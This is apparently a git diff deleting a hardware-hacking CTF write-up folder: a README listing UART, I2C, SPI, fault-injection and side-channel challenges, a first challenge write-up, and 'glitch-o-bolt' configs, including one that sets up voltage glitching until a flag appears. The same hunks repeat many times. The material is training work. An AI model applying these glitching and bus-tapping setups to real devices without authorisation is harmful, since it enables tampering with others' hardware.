diff --git a/Misc/12Sec_CTF_V1/01.md b/Misc/12Sec_CTF_V1/01.md
deleted file mode 100644
index 89bf312..0000000
--- a/Misc/12Sec_CTF_V1/01.md
+++ /dev/null
@@ -1,27 +0,0 @@
-# **Challenge 1: "Serial Snitch"**
-
-As a skilled hardware hacker, you've intercepted a mysterious device recovered from a rogue tech syndicate. The device, dubbed **"Specter-1"**, controls access to a secret underground server, but its interface remains locked behind an unknown UART configuration.
-
-Your mission is clear:
-
-1. **Identify the UART pins** you've uncovered during your investigation.
-2. **Determine the correct baud rate** to establish a stable connection.
-3. **Access the device’s command interface** and unlock control over the system’s lighting grid.
-
----
-
-## Findings
-
-#### setup
-
-
-
-#### notes
-
-The baudrate was a standard one, simply connecting the right wires using the corect baudrate I was able to gain access (and the flag)
-
-Of course I made a glitch-o-bolt config for this: [01_GoB_config.py](docs/01_GoB_config.py)
-
-It looks as follows:
-
-
\ No newline at end of file
diff --git a/Misc/12Sec_CTF_V1/01.md b/Misc/12Sec_CTF_V1/01.md
deleted file mode 100644
index 89bf312..0000000
--- a/Misc/12Sec_CTF_V1/01.md
+++ /dev/null
@@ -1,27 +0,0 @@
-# **Challenge 1: "Serial Snitch"**
-
-As a skilled hardware hacker, you've intercepted a mysterious device recovered from a rogue tech syndicate. The device, dubbed **"Specter-1"**, controls access to a secret underground server, but its interface remains locked behind an unknown UART configuration.
-
-Your mission is clear:
-
-1. **Identify the UART pins** you've uncovered during your investigation.
-2. **Determine the correct baud rate** to establish a stable connection.
-3. **Access the device’s command interface** and unlock control over the system’s lighting grid.
-
----
-
-## Findings
-
-#### setup
-
-
-
-#### notes
-
-The baudrate was a standard one, simply connecting the right wires using the corect baudrate I was able to gain access (and the flag)
-
-Of course I made a glitch-o-bolt config for this: [01_GoB_config.py](docs/01_GoB_config.py)
-
-It looks as follows:
-
-
\ No newline at end of file
diff --git a/Misc/12Sec_CTF_V1/README.md b/Misc/12Sec_CTF_V1/README.md
deleted file mode 100644
index 689c199..0000000
--- a/Misc/12Sec_CTF_V1/README.md
+++ /dev/null
@@ -1,25 +0,0 @@
-12Sec CTF - PwnPad v1.0
-===============
-
-This is where I am storing my documentation and solutions for the PwnPad CTF.
-
-## Status
-
-|done|#|Name|Topics|Description|
-|---|---|---|---|---|
-|[x]|1|Serial Snitch|`#UART`|Intercept and decode UART communication.|
-|[x]|2|Echo Chamber|`#UART`|Intercept and decode UART communication, with security through obscurity.|
-|[x]|3|Bus Whisperer|`#I2C`|Spy on I2C traffic to extract secrets.|
-|[x]|4|Invisible Wires|`#I2C`|Attack I2C when slave devices are missing.|
-|[x]|5|Code Heist|`#SPI` `#ISP` `#Flash` `#UART`|Dump and analyze firmware from flash.|
-|[x]|6|Hard Leak|`#SPI` `#ISP` `#EEPROM`|Extract data from the internal EEPROM.|
-|[x]|7|Power Trip|`#FaultInjection` `#UART`|Use glitching to bypass dead code statements.|
-|[x]|8|Glitch Storm|`#FaultInjection` `#UART`|Use glitching to bypass password verification.|
-|[x]|9|Clock Spy|`#SideChannel` `#UART`|Leak secrets using timing variations.|
-|[x]|10|Tempo Leak|`#SideChannel` `#UART`|Leak secrets using timing variations with a twist.|
-|[ ]|11|Chaos Chain: Glitchgate|`#FaultInjection` `#UART` |Combine UART and glitch attacks to break in.|
-|[x]|12|Chaos Chain: Timebomb|`#UART` `#SideChannel`|Combine UART and chain timing leaks to break in.|
-
-## The Board
-
-
\ No newline at end of file
diff --git a/Misc/12Sec_CTF_V1/01.md b/Misc/12Sec_CTF_V1/01.md
deleted file mode 100644
index 89bf312..0000000
--- a/Misc/12Sec_CTF_V1/01.md
+++ /dev/null
@@ -1,27 +0,0 @@
-# **Challenge 1: "Serial Snitch"**
-
-As a skilled hardware hacker, you've intercepted a mysterious device recovered from a rogue tech syndicate. The device, dubbed **"Specter-1"**, controls access to a secret underground server, but its interface remains locked behind an unknown UART configuration.
-
-Your mission is clear:
-
-1. **Identify the UART pins** you've uncovered during your investigation.
-2. **Determine the correct baud rate** to establish a stable connection.
-3. **Access the device’s command interface** and unlock control over the system’s lighting grid.
-
----
-
-## Findings
-
-#### setup
-
-
-
-#### notes
-
-The baudrate was a standard one, simply connecting the right wires using the corect baudrate I was able to gain access (and the flag)
-
-Of course I made a glitch-o-bolt config for this: [01_GoB_config.py](docs/01_GoB_config.py)
-
-It looks as follows:
-
-
\ No newline at end of file
diff --git a/Misc/12Sec_CTF_V1/README.md b/Misc/12Sec_CTF_V1/README.md
deleted file mode 100644
index 689c199..0000000
--- a/Misc/12Sec_CTF_V1/README.md
+++ /dev/null
@@ -1,25 +0,0 @@
-12Sec CTF - PwnPad v1.0
-===============
-
-This is where I am storing my documentation and solutions for the PwnPad CTF.
-
-## Status
-
-|done|#|Name|Topics|Description|
-|---|---|---|---|---|
-|[x]|1|Serial Snitch|`#UART`|Intercept and decode UART communication.|
-|[x]|2|Echo Chamber|`#UART`|Intercept and decode UART communication, with security through obscurity.|
-|[x]|3|Bus Whisperer|`#I2C`|Spy on I2C traffic to extract secrets.|
-|[x]|4|Invisible Wires|`#I2C`|Attack I2C when slave devices are missing.|
-|[x]|5|Code Heist|`#SPI` `#ISP` `#Flash` `#UART`|Dump and analyze firmware from flash.|
-|[x]|6|Hard Leak|`#SPI` `#ISP` `#EEPROM`|Extract data from the internal EEPROM.|
-|[x]|7|Power Trip|`#FaultInjection` `#UART`|Use glitching to bypass dead code statements.|
-|[x]|8|Glitch Storm|`#FaultInjection` `#UART`|Use glitching to bypass password verification.|
-|[x]|9|Clock Spy|`#SideChannel` `#UART`|Leak secrets using timing variations.|
-|[x]|10|Tempo Leak|`#SideChannel` `#UART`|Leak secrets using timing variations with a twist.|
-|[ ]|11|Chaos Chain: Glitchgate|`#FaultInjection` `#UART` |Combine UART and glitch attacks to break in.|
-|[x]|12|Chaos Chain: Timebomb|`#UART` `#SideChannel`|Combine UART and chain timing leaks to break in.|
-
-## The Board
-
-
\ No newline at end of file
diff --git a/Misc/12Sec_CTF_V1/docs/01_GoB.png b/Misc/12Sec_CTF_V1/docs/01_GoB.png
deleted file mode 100644
index 323ad56..0000000
--- a/Misc/12Sec_CTF_V1/docs/01_GoB.png
+++ /dev/null
Binary files differ
diff --git a/Misc/12Sec_CTF_V1/01.md b/Misc/12Sec_CTF_V1/01.md
deleted file mode 100644
index 89bf312..0000000
--- a/Misc/12Sec_CTF_V1/01.md
+++ /dev/null
@@ -1,27 +0,0 @@
-# **Challenge 1: "Serial Snitch"**
-
-As a skilled hardware hacker, you've intercepted a mysterious device recovered from a rogue tech syndicate. The device, dubbed **"Specter-1"**, controls access to a secret underground server, but its interface remains locked behind an unknown UART configuration.
-
-Your mission is clear:
-
-1. **Identify the UART pins** you've uncovered during your investigation.
-2. **Determine the correct baud rate** to establish a stable connection.
-3. **Access the device’s command interface** and unlock control over the system’s lighting grid.
-
----
-
-## Findings
-
-#### setup
-
-
-
-#### notes
-
-The baudrate was a standard one, simply connecting the right wires using the corect baudrate I was able to gain access (and the flag)
-
-Of course I made a glitch-o-bolt config for this: [01_GoB_config.py](docs/01_GoB_config.py)
-
-It looks as follows:
-
-
\ No newline at end of file
diff --git a/Misc/12Sec_CTF_V1/README.md b/Misc/12Sec_CTF_V1/README.md
deleted file mode 100644
index 689c199..0000000
--- a/Misc/12Sec_CTF_V1/README.md
+++ /dev/null
@@ -1,25 +0,0 @@
-12Sec CTF - PwnPad v1.0
-===============
-
-This is where I am storing my documentation and solutions for the PwnPad CTF.
-
-## Status
-
-|done|#|Name|Topics|Description|
-|---|---|---|---|---|
-|[x]|1|Serial Snitch|`#UART`|Intercept and decode UART communication.|
-|[x]|2|Echo Chamber|`#UART`|Intercept and decode UART communication, with security through obscurity.|
-|[x]|3|Bus Whisperer|`#I2C`|Spy on I2C traffic to extract secrets.|
-|[x]|4|Invisible Wires|`#I2C`|Attack I2C when slave devices are missing.|
-|[x]|5|Code Heist|`#SPI` `#ISP` `#Flash` `#UART`|Dump and analyze firmware from flash.|
-|[x]|6|Hard Leak|`#SPI` `#ISP` `#EEPROM`|Extract data from the internal EEPROM.|
-|[x]|7|Power Trip|`#FaultInjection` `#UART`|Use glitching to bypass dead code statements.|
-|[x]|8|Glitch Storm|`#FaultInjection` `#UART`|Use glitching to bypass password verification.|
-|[x]|9|Clock Spy|`#SideChannel` `#UART`|Leak secrets using timing variations.|
-|[x]|10|Tempo Leak|`#SideChannel` `#UART`|Leak secrets using timing variations with a twist.|
-|[ ]|11|Chaos Chain: Glitchgate|`#FaultInjection` `#UART` |Combine UART and glitch attacks to break in.|
-|[x]|12|Chaos Chain: Timebomb|`#UART` `#SideChannel`|Combine UART and chain timing leaks to break in.|
-
-## The Board
-
-
\ No newline at end of file
diff --git a/Misc/12Sec_CTF_V1/docs/01_GoB.png b/Misc/12Sec_CTF_V1/docs/01_GoB.png
deleted file mode 100644
index 323ad56..0000000
--- a/Misc/12Sec_CTF_V1/docs/01_GoB.png
+++ /dev/null
Binary files differ
diff --git a/Misc/12Sec_CTF_V1/docs/01_GoB_config.py b/Misc/12Sec_CTF_V1/docs/01_GoB_config.py
deleted file mode 100644
index 19bd20d..0000000
--- a/Misc/12Sec_CTF_V1/docs/01_GoB_config.py
+++ /dev/null
@@ -1,50 +0,0 @@
-######
-# LEAVE THESE IMPORTS!
-######
-import functions
-import time
-
-######
-# config values
-######
-
-SERIAL_PORT = '/dev/ttyUSB0'
-BAUD_RATE = 9600
-UART_NEWLINE = ""
-
-###
-# name, enabled, string to match
-###
-conditions = [
- ['1', False, "", 'one'],
- ['2', False, "", 'two'],
- ['3', False, "", 'three'],
-]
-
-######
-# Custom functions
-######
-
-# Toggle states for each function
-toggle_state_one = 0
-toggle_state_two = 0
-toggle_state_three = 0
-
-def one():
- global toggle_state_one
- functions.send_uart_message("1")
- functions.send_uart_message(str(toggle_state_one))
- toggle_state_one = 1 - toggle_state_one
-
-def two():
- global toggle_state_two
- functions.send_uart_message("2")
- functions.send_uart_message(str(toggle_state_two))
- toggle_state_two = 1 - toggle_state_two
-
-def three():
- global toggle_state_three
- functions.send_uart_message("3")
- functions.send_uart_message(str(toggle_state_three))
- toggle_state_three = 1 - toggle_state_three
-
diff --git a/Misc/12Sec_CTF_V1/01.md b/Misc/12Sec_CTF_V1/01.md
deleted file mode 100644
index 89bf312..0000000
--- a/Misc/12Sec_CTF_V1/01.md
+++ /dev/null
@@ -1,27 +0,0 @@
-# **Challenge 1: "Serial Snitch"**
-
-As a skilled hardware hacker, you've intercepted a mysterious device recovered from a rogue tech syndicate. The device, dubbed **"Specter-1"**, controls access to a secret underground server, but its interface remains locked behind an unknown UART configuration.
-
-Your mission is clear:
-
-1. **Identify the UART pins** you've uncovered during your investigation.
-2. **Determine the correct baud rate** to establish a stable connection.
-3. **Access the device’s command interface** and unlock control over the system’s lighting grid.
-
----
-
-## Findings
-
-#### setup
-
-
-
-#### notes
-
-The baudrate was a standard one, simply connecting the right wires using the corect baudrate I was able to gain access (and the flag)
-
-Of course I made a glitch-o-bolt config for this: [01_GoB_config.py](docs/01_GoB_config.py)
-
-It looks as follows:
-
-
\ No newline at end of file
diff --git a/Misc/12Sec_CTF_V1/README.md b/Misc/12Sec_CTF_V1/README.md
deleted file mode 100644
index 689c199..0000000
--- a/Misc/12Sec_CTF_V1/README.md
+++ /dev/null
@@ -1,25 +0,0 @@
-12Sec CTF - PwnPad v1.0
-===============
-
-This is where I am storing my documentation and solutions for the PwnPad CTF.
-
-## Status
-
-|done|#|Name|Topics|Description|
-|---|---|---|---|---|
-|[x]|1|Serial Snitch|`#UART`|Intercept and decode UART communication.|
-|[x]|2|Echo Chamber|`#UART`|Intercept and decode UART communication, with security through obscurity.|
-|[x]|3|Bus Whisperer|`#I2C`|Spy on I2C traffic to extract secrets.|
-|[x]|4|Invisible Wires|`#I2C`|Attack I2C when slave devices are missing.|
-|[x]|5|Code Heist|`#SPI` `#ISP` `#Flash` `#UART`|Dump and analyze firmware from flash.|
-|[x]|6|Hard Leak|`#SPI` `#ISP` `#EEPROM`|Extract data from the internal EEPROM.|
-|[x]|7|Power Trip|`#FaultInjection` `#UART`|Use glitching to bypass dead code statements.|
-|[x]|8|Glitch Storm|`#FaultInjection` `#UART`|Use glitching to bypass password verification.|
-|[x]|9|Clock Spy|`#SideChannel` `#UART`|Leak secrets using timing variations.|
-|[x]|10|Tempo Leak|`#SideChannel` `#UART`|Leak secrets using timing variations with a twist.|
-|[ ]|11|Chaos Chain: Glitchgate|`#FaultInjection` `#UART` |Combine UART and glitch attacks to break in.|
-|[x]|12|Chaos Chain: Timebomb|`#UART` `#SideChannel`|Combine UART and chain timing leaks to break in.|
-
-## The Board
-
-
\ No newline at end of file
diff --git a/Misc/12Sec_CTF_V1/docs/01_GoB.png b/Misc/12Sec_CTF_V1/docs/01_GoB.png
deleted file mode 100644
index 323ad56..0000000
--- a/Misc/12Sec_CTF_V1/docs/01_GoB.png
+++ /dev/null
Binary files differ
diff --git a/Misc/12Sec_CTF_V1/docs/01_GoB_config.py b/Misc/12Sec_CTF_V1/docs/01_GoB_config.py
deleted file mode 100644
index 19bd20d..0000000
--- a/Misc/12Sec_CTF_V1/docs/01_GoB_config.py
+++ /dev/null
@@ -1,50 +0,0 @@
-######
-# LEAVE THESE IMPORTS!
-######
-import functions
-import time
-
-######
-# config values
-######
-
-SERIAL_PORT = '/dev/ttyUSB0'
-BAUD_RATE = 9600
-UART_NEWLINE = ""
-
-###
-# name, enabled, string to match
-###
-conditions = [
- ['1', False, "", 'one'],
- ['2', False, "", 'two'],
- ['3', False, "", 'three'],
-]
-
-######
-# Custom functions
-######
-
-# Toggle states for each function
-toggle_state_one = 0
-toggle_state_two = 0
-toggle_state_three = 0
-
-def one():
- global toggle_state_one
- functions.send_uart_message("1")
- functions.send_uart_message(str(toggle_state_one))
- toggle_state_one = 1 - toggle_state_one
-
-def two():
- global toggle_state_two
- functions.send_uart_message("2")
- functions.send_uart_message(str(toggle_state_two))
- toggle_state_two = 1 - toggle_state_two
-
-def three():
- global toggle_state_three
- functions.send_uart_message("3")
- functions.send_uart_message(str(toggle_state_three))
- toggle_state_three = 1 - toggle_state_three
-
diff --git a/Misc/12Sec_CTF_V1/docs/01_setup.png b/Misc/12Sec_CTF_V1/docs/01_setup.png
deleted file mode 100644
index 2620b36..0000000
--- a/Misc/12Sec_CTF_V1/docs/01_setup.png
+++ /dev/null
Binary files differ
diff --git a/Misc/12Sec_CTF_V1/01.md b/Misc/12Sec_CTF_V1/01.md
deleted file mode 100644
index 89bf312..0000000
--- a/Misc/12Sec_CTF_V1/01.md
+++ /dev/null
@@ -1,27 +0,0 @@
-# **Challenge 1: "Serial Snitch"**
-
-As a skilled hardware hacker, you've intercepted a mysterious device recovered from a rogue tech syndicate. The device, dubbed **"Specter-1"**, controls access to a secret underground server, but its interface remains locked behind an unknown UART configuration.
-
-Your mission is clear:
-
-1. **Identify the UART pins** you've uncovered during your investigation.
-2. **Determine the correct baud rate** to establish a stable connection.
-3. **Access the device’s command interface** and unlock control over the system’s lighting grid.
-
----
-
-## Findings
-
-#### setup
-
-
-
-#### notes
-
-The baudrate was a standard one, simply connecting the right wires using the corect baudrate I was able to gain access (and the flag)
-
-Of course I made a glitch-o-bolt config for this: [01_GoB_config.py](docs/01_GoB_config.py)
-
-It looks as follows:
-
-
\ No newline at end of file
diff --git a/Misc/12Sec_CTF_V1/README.md b/Misc/12Sec_CTF_V1/README.md
deleted file mode 100644
index 689c199..0000000
--- a/Misc/12Sec_CTF_V1/README.md
+++ /dev/null
@@ -1,25 +0,0 @@
-12Sec CTF - PwnPad v1.0
-===============
-
-This is where I am storing my documentation and solutions for the PwnPad CTF.
-
-## Status
-
-|done|#|Name|Topics|Description|
-|---|---|---|---|---|
-|[x]|1|Serial Snitch|`#UART`|Intercept and decode UART communication.|
-|[x]|2|Echo Chamber|`#UART`|Intercept and decode UART communication, with security through obscurity.|
-|[x]|3|Bus Whisperer|`#I2C`|Spy on I2C traffic to extract secrets.|
-|[x]|4|Invisible Wires|`#I2C`|Attack I2C when slave devices are missing.|
-|[x]|5|Code Heist|`#SPI` `#ISP` `#Flash` `#UART`|Dump and analyze firmware from flash.|
-|[x]|6|Hard Leak|`#SPI` `#ISP` `#EEPROM`|Extract data from the internal EEPROM.|
-|[x]|7|Power Trip|`#FaultInjection` `#UART`|Use glitching to bypass dead code statements.|
-|[x]|8|Glitch Storm|`#FaultInjection` `#UART`|Use glitching to bypass password verification.|
-|[x]|9|Clock Spy|`#SideChannel` `#UART`|Leak secrets using timing variations.|
-|[x]|10|Tempo Leak|`#SideChannel` `#UART`|Leak secrets using timing variations with a twist.|
-|[ ]|11|Chaos Chain: Glitchgate|`#FaultInjection` `#UART` |Combine UART and glitch attacks to break in.|
-|[x]|12|Chaos Chain: Timebomb|`#UART` `#SideChannel`|Combine UART and chain timing leaks to break in.|
-
-## The Board
-
-
\ No newline at end of file
diff --git a/Misc/12Sec_CTF_V1/docs/01_GoB.png b/Misc/12Sec_CTF_V1/docs/01_GoB.png
deleted file mode 100644
index 323ad56..0000000
--- a/Misc/12Sec_CTF_V1/docs/01_GoB.png
+++ /dev/null
Binary files differ
diff --git a/Misc/12Sec_CTF_V1/docs/01_GoB_config.py b/Misc/12Sec_CTF_V1/docs/01_GoB_config.py
deleted file mode 100644
index 19bd20d..0000000
--- a/Misc/12Sec_CTF_V1/docs/01_GoB_config.py
+++ /dev/null
@@ -1,50 +0,0 @@
-######
-# LEAVE THESE IMPORTS!
-######
-import functions
-import time
-
-######
-# config values
-######
-
-SERIAL_PORT = '/dev/ttyUSB0'
-BAUD_RATE = 9600
-UART_NEWLINE = ""
-
-###
-# name, enabled, string to match
-###
-conditions = [
- ['1', False, "", 'one'],
- ['2', False, "", 'two'],
- ['3', False, "", 'three'],
-]
-
-######
-# Custom functions
-######
-
-# Toggle states for each function
-toggle_state_one = 0
-toggle_state_two = 0
-toggle_state_three = 0
-
-def one():
- global toggle_state_one
- functions.send_uart_message("1")
- functions.send_uart_message(str(toggle_state_one))
- toggle_state_one = 1 - toggle_state_one
-
-def two():
- global toggle_state_two
- functions.send_uart_message("2")
- functions.send_uart_message(str(toggle_state_two))
- toggle_state_two = 1 - toggle_state_two
-
-def three():
- global toggle_state_three
- functions.send_uart_message("3")
- functions.send_uart_message(str(toggle_state_three))
- toggle_state_three = 1 - toggle_state_three
-
diff --git a/Misc/12Sec_CTF_V1/docs/01_setup.png b/Misc/12Sec_CTF_V1/docs/01_setup.png
deleted file mode 100644
index 2620b36..0000000
--- a/Misc/12Sec_CTF_V1/docs/01_setup.png
+++ /dev/null
Binary files differ
diff --git a/Misc/12Sec_CTF_V1/docs/02_GoB_config.py b/Misc/12Sec_CTF_V1/docs/02_GoB_config.py
deleted file mode 100644
index 2671dec..0000000
--- a/Misc/12Sec_CTF_V1/docs/02_GoB_config.py
+++ /dev/null
@@ -1,7 +0,0 @@
-######
-# config values
-######
-
-SERIAL_PORT = '/dev/ttyUSB0'
-BAUD_RATE = 31250
-
diff --git a/Misc/12Sec_CTF_V1/01.md b/Misc/12Sec_CTF_V1/01.md
deleted file mode 100644
index 89bf312..0000000
--- a/Misc/12Sec_CTF_V1/01.md
+++ /dev/null
@@ -1,27 +0,0 @@
-# **Challenge 1: "Serial Snitch"**
-
-As a skilled hardware hacker, you've intercepted a mysterious device recovered from a rogue tech syndicate. The device, dubbed **"Specter-1"**, controls access to a secret underground server, but its interface remains locked behind an unknown UART configuration.
-
-Your mission is clear:
-
-1. **Identify the UART pins** you've uncovered during your investigation.
-2. **Determine the correct baud rate** to establish a stable connection.
-3. **Access the device’s command interface** and unlock control over the system’s lighting grid.
-
----
-
-## Findings
-
-#### setup
-
-
-
-#### notes
-
-The baudrate was a standard one, simply connecting the right wires using the corect baudrate I was able to gain access (and the flag)
-
-Of course I made a glitch-o-bolt config for this: [01_GoB_config.py](docs/01_GoB_config.py)
-
-It looks as follows:
-
-
\ No newline at end of file
diff --git a/Misc/12Sec_CTF_V1/README.md b/Misc/12Sec_CTF_V1/README.md
deleted file mode 100644
index 689c199..0000000
--- a/Misc/12Sec_CTF_V1/README.md
+++ /dev/null
@@ -1,25 +0,0 @@
-12Sec CTF - PwnPad v1.0
-===============
-
-This is where I am storing my documentation and solutions for the PwnPad CTF.
-
-## Status
-
-|done|#|Name|Topics|Description|
-|---|---|---|---|---|
-|[x]|1|Serial Snitch|`#UART`|Intercept and decode UART communication.|
-|[x]|2|Echo Chamber|`#UART`|Intercept and decode UART communication, with security through obscurity.|
-|[x]|3|Bus Whisperer|`#I2C`|Spy on I2C traffic to extract secrets.|
-|[x]|4|Invisible Wires|`#I2C`|Attack I2C when slave devices are missing.|
-|[x]|5|Code Heist|`#SPI` `#ISP` `#Flash` `#UART`|Dump and analyze firmware from flash.|
-|[x]|6|Hard Leak|`#SPI` `#ISP` `#EEPROM`|Extract data from the internal EEPROM.|
-|[x]|7|Power Trip|`#FaultInjection` `#UART`|Use glitching to bypass dead code statements.|
-|[x]|8|Glitch Storm|`#FaultInjection` `#UART`|Use glitching to bypass password verification.|
-|[x]|9|Clock Spy|`#SideChannel` `#UART`|Leak secrets using timing variations.|
-|[x]|10|Tempo Leak|`#SideChannel` `#UART`|Leak secrets using timing variations with a twist.|
-|[ ]|11|Chaos Chain: Glitchgate|`#FaultInjection` `#UART` |Combine UART and glitch attacks to break in.|
-|[x]|12|Chaos Chain: Timebomb|`#UART` `#SideChannel`|Combine UART and chain timing leaks to break in.|
-
-## The Board
-
-
\ No newline at end of file
diff --git a/Misc/12Sec_CTF_V1/docs/01_GoB.png b/Misc/12Sec_CTF_V1/docs/01_GoB.png
deleted file mode 100644
index 323ad56..0000000
--- a/Misc/12Sec_CTF_V1/docs/01_GoB.png
+++ /dev/null
Binary files differ
diff --git a/Misc/12Sec_CTF_V1/docs/01_GoB_config.py b/Misc/12Sec_CTF_V1/docs/01_GoB_config.py
deleted file mode 100644
index 19bd20d..0000000
--- a/Misc/12Sec_CTF_V1/docs/01_GoB_config.py
+++ /dev/null
@@ -1,50 +0,0 @@
-######
-# LEAVE THESE IMPORTS!
-######
-import functions
-import time
-
-######
-# config values
-######
-
-SERIAL_PORT = '/dev/ttyUSB0'
-BAUD_RATE = 9600
-UART_NEWLINE = ""
-
-###
-# name, enabled, string to match
-###
-conditions = [
- ['1', False, "", 'one'],
- ['2', False, "", 'two'],
- ['3', False, "", 'three'],
-]
-
-######
-# Custom functions
-######
-
-# Toggle states for each function
-toggle_state_one = 0
-toggle_state_two = 0
-toggle_state_three = 0
-
-def one():
- global toggle_state_one
- functions.send_uart_message("1")
- functions.send_uart_message(str(toggle_state_one))
- toggle_state_one = 1 - toggle_state_one
-
-def two():
- global toggle_state_two
- functions.send_uart_message("2")
- functions.send_uart_message(str(toggle_state_two))
- toggle_state_two = 1 - toggle_state_two
-
-def three():
- global toggle_state_three
- functions.send_uart_message("3")
- functions.send_uart_message(str(toggle_state_three))
- toggle_state_three = 1 - toggle_state_three
-
diff --git a/Misc/12Sec_CTF_V1/docs/01_setup.png b/Misc/12Sec_CTF_V1/docs/01_setup.png
deleted file mode 100644
index 2620b36..0000000
--- a/Misc/12Sec_CTF_V1/docs/01_setup.png
+++ /dev/null
Binary files differ
diff --git a/Misc/12Sec_CTF_V1/docs/02_GoB_config.py b/Misc/12Sec_CTF_V1/docs/02_GoB_config.py
deleted file mode 100644
index 2671dec..0000000
--- a/Misc/12Sec_CTF_V1/docs/02_GoB_config.py
+++ /dev/null
@@ -1,7 +0,0 @@
-######
-# config values
-######
-
-SERIAL_PORT = '/dev/ttyUSB0'
-BAUD_RATE = 31250
-
diff --git a/Misc/12Sec_CTF_V1/docs/07_GoB_config.py b/Misc/12Sec_CTF_V1/docs/07_GoB_config.py
deleted file mode 100644
index 0ee78c6..0000000
--- a/Misc/12Sec_CTF_V1/docs/07_GoB_config.py
+++ /dev/null
@@ -1,44 +0,0 @@
-######
-# LEAVE THESE IMPORTS!
-######
-import functions
-import time
-
-######
-# config values
-######
-
-SERIAL_PORT = '/dev/ttyUSB0'
-BAUD_RATE = 9600
-
-LENGTH = 10
-REPEAT = 10
-DELAY = 10
-
-###
-# ^ = pullup, v = pulldown
-###
-triggers = [
- ['-', False], #0
- ['^', True], #1
- ['-', False], #2
- ['-', False], #3
- ['-', False], #4
- ['-', False], #5
- ['-', False], #6
- ['-', False], #7
-]
-
-### name, enabled, string to match ###
-conditions = [
- ["Flag", True, "TS{", "stop_glitch"],
-]
-
-def stop_glitch():
- elapsed = functions.get_glitch_elapsed()
-
- functions.set_trigger_value(1, False)
- functions.set_uart_switch(False)
-
- functions.glitching_switch(False)
- functions.add_text(f"[auto] glitching stopped (elapsed: {elapsed})")
\ No newline at end of file
diff --git a/Misc/12Sec_CTF_V1/01.md b/Misc/12Sec_CTF_V1/01.md
deleted file mode 100644
index 89bf312..0000000
--- a/Misc/12Sec_CTF_V1/01.md
+++ /dev/null
@@ -1,27 +0,0 @@
-# **Challenge 1: "Serial Snitch"**
-
-As a skilled hardware hacker, you've intercepted a mysterious device recovered from a rogue tech syndicate. The device, dubbed **"Specter-1"**, controls access to a secret underground server, but its interface remains locked behind an unknown UART configuration.
-
-Your mission is clear:
-
-1. **Identify the UART pins** you've uncovered during your investigation.
-2. **Determine the correct baud rate** to establish a stable connection.
-3. **Access the device’s command interface** and unlock control over the system’s lighting grid.
-
----
-
-## Findings
-
-#### setup
-
-
-
-#### notes
-
-The baudrate was a standard one, simply connecting the right wires using the corect baudrate I was able to gain access (and the flag)
-
-Of course I made a glitch-o-bolt config for this: [01_GoB_config.py](docs/01_GoB_config.py)
-
-It looks as follows:
-
-
\ No newline at end of file
diff --git a/Misc/12Sec_CTF_V1/README.md b/Misc/12Sec_CTF_V1/README.md
deleted file mode 100644
index 689c199..0000000
--- a/Misc/12Sec_CTF_V1/README.md
+++ /dev/null
@@ -1,25 +0,0 @@
-12Sec CTF - PwnPad v1.0
-===============
-
-This is where I am storing my documentation and solutions for the PwnPad CTF.
-
-## Status
-
-|done|#|Name|Topics|Description|
-|---|---|---|---|---|
-|[x]|1|Serial Snitch|`#UART`|Intercept and decode UART communication.|
-|[x]|2|Echo Chamber|`#UART`|Intercept and decode UART communication, with security through obscurity.|
-|[x]|3|Bus Whisperer|`#I2C`|Spy on I2C traffic to extract secrets.|
-|[x]|4|Invisible Wires|`#I2C`|Attack I2C when slave devices are missing.|
-|[x]|5|Code Heist|`#SPI` `#ISP` `#Flash` `#UART`|Dump and analyze firmware from flash.|
-|[x]|6|Hard Leak|`#SPI` `#ISP` `#EEPROM`|Extract data from the internal EEPROM.|
-|[x]|7|Power Trip|`#FaultInjection` `#UART`|Use glitching to bypass dead code statements.|
-|[x]|8|Glitch Storm|`#FaultInjection` `#UART`|Use glitching to bypass password verification.|
-|[x]|9|Clock Spy|`#SideChannel` `#UART`|Leak secrets using timing variations.|
-|[x]|10|Tempo Leak|`#SideChannel` `#UART`|Leak secrets using timing variations with a twist.|
-|[ ]|11|Chaos Chain: Glitchgate|`#FaultInjection` `#UART` |Combine UART and glitch attacks to break in.|
-|[x]|12|Chaos Chain: Timebomb|`#UART` `#SideChannel`|Combine UART and chain timing leaks to break in.|
-
-## The Board
-
-
\ No newline at end of file
diff --git a/Misc/12Sec_CTF_V1/docs/01_GoB.png b/Misc/12Sec_CTF_V1/docs/01_GoB.png
deleted file mode 100644
index 323ad56..0000000
--- a/Misc/12Sec_CTF_V1/docs/01_GoB.png
+++ /dev/null
Binary files differ
diff --git a/Misc/12Sec_CTF_V1/docs/01_GoB_config.py b/Misc/12Sec_CTF_V1/docs/01_GoB_config.py
deleted file mode 100644
index 19bd20d..0000000
--- a/Misc/12Sec_CTF_V1/docs/01_GoB_config.py
+++ /dev/null
@@ -1,50 +0,0 @@
-######
-# LEAVE THESE IMPORTS!
-######
-import functions
-import time
-
-######
-# config values
-######
-
-SERIAL_PORT = '/dev/ttyUSB0'
-BAUD_RATE = 9600
-UART_NEWLINE = ""
-
-###
-# name, enabled, string to match
-###
-conditions = [
- ['1', False, "", 'one'],
- ['2', False, "", 'two'],
- ['3', False, "", 'three'],
-]
-
-######
-# Custom functions
-######
-
-# Toggle states for each function
-toggle_state_one = 0
-toggle_state_two = 0
-toggle_state_three = 0
-
-def one():
- global toggle_state_one
- functions.send_uart_message("1")
- functions.send_uart_message(str(toggle_state_one))
- toggle_state_one = 1 - toggle_state_one
-
-def two():
- global toggle_state_two
- functions.send_uart_message("2")
- functions.send_uart_message(str(toggle_state_two))
- toggle_state_two = 1 - toggle_state_two
-
-def three():
- global toggle_state_three
- functions.send_uart_message("3")
- functions.send_uart_message(str(toggle_state_three))
- toggle_state_three = 1 - toggle_state_three
-
diff --git a/Misc/12Sec_CTF_V1/docs/01_setup.png b/Misc/12Sec_CTF_V1/docs/01_setup.png
deleted file mode 100644
index 2620b36..0000000
--- a/Misc/12Sec_CTF_V1/docs/01_setup.png
+++ /dev/null
Binary files differ
diff --git a/Misc/12Sec_CTF_V1/docs/02_GoB_config.py b/Misc/12Sec_CTF_V1/docs/02_GoB_config.py
deleted file mode 100644
index 2671dec..0000000
--- a/Misc/12Sec_CTF_V1/docs/02_GoB_config.py
+++ /dev/null
@@ -1,7 +0,0 @@
-######
-# config values
-######
-
-SERIAL_PORT = '/dev/ttyUSB0'
-BAUD_RATE = 31250
-
diff --git a/Misc/12Sec_CTF_V1/docs/07_GoB_config.py b/Misc/12Sec_CTF_V1/docs/07_GoB_config.py
deleted file mode 100644
index 0ee78c6..0000000
--- a/Misc/12Sec_CTF_V1/docs/07_GoB_config.py
+++ /dev/null
@@ -1,44 +0,0 @@
-######
-# LEAVE THESE IMPORTS!
-######
